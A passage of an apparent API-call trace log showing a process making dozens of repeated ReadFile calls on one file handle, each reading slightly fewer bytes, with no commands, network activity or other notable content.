dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x525, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x51d, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x515, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x50d, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x505, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4fd, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4f5, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4ed, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4e5, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4dd, lpOverlapped=0x0) returned 1 [0031.751] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4d5, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4cd, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4c5, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4bd, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4b5, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4ad, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4a5, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x49d, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x495, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x48d, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x485, lpOverlapped=0x0) returned 1 [0031.752] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x47d, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x475, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x46d, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x465, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x45d, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x455, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x44d, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x445, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x43d, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x435, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x42d, lpOverlapped=0x0) returned 1 [0031.753] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x425, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x41d, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x415, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x40d, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x405, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3fd, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3f5, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3ed, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3e5, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3dd, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3d5, lpOverlapped=0x0) returned 1 [0031.754] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3cd, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3c5, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3bd, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3b5, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3ad, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3a5, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x39d, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x395, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x38d, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x385, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x37d, lpOverlapped=0x0) returned 1 [0031.755] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x375, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x36d, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x365, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x35d, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x355, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x34d, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x345, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x33d, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x335, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x32d, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x325, lpOverlapped=0x0) returned 1 [0031.756] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x31d, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x315, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x30d, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x305, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2fd, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2f5, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2ed, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2e5, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2dd, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2d5, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2cd, lpOverlapped=0x0) returned 1 [0031.757] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2c5, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2bd, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2b5, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2ad, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2a5, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x29d, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x295, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x28d, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x285, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x27d, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x275, lpOverlapped=0x0) returned 1 [0031.758] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x26d, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x265, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x25d, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x255, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x24d, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x245, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x23d, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x235, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x22d, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x225, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x21d, lpOverlapped=0x0) returned 1 [0031.759] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x215, lpOverlapped=0x0) returned 1 [0031.760] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x20d, lpOverlapped=0x0) returned 1 [0031.760] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x205, lpOverlapped=0x0) returned 1 [0031.760] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1fd, lpOverlapped=0x0) returned 1 [0031.760] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, 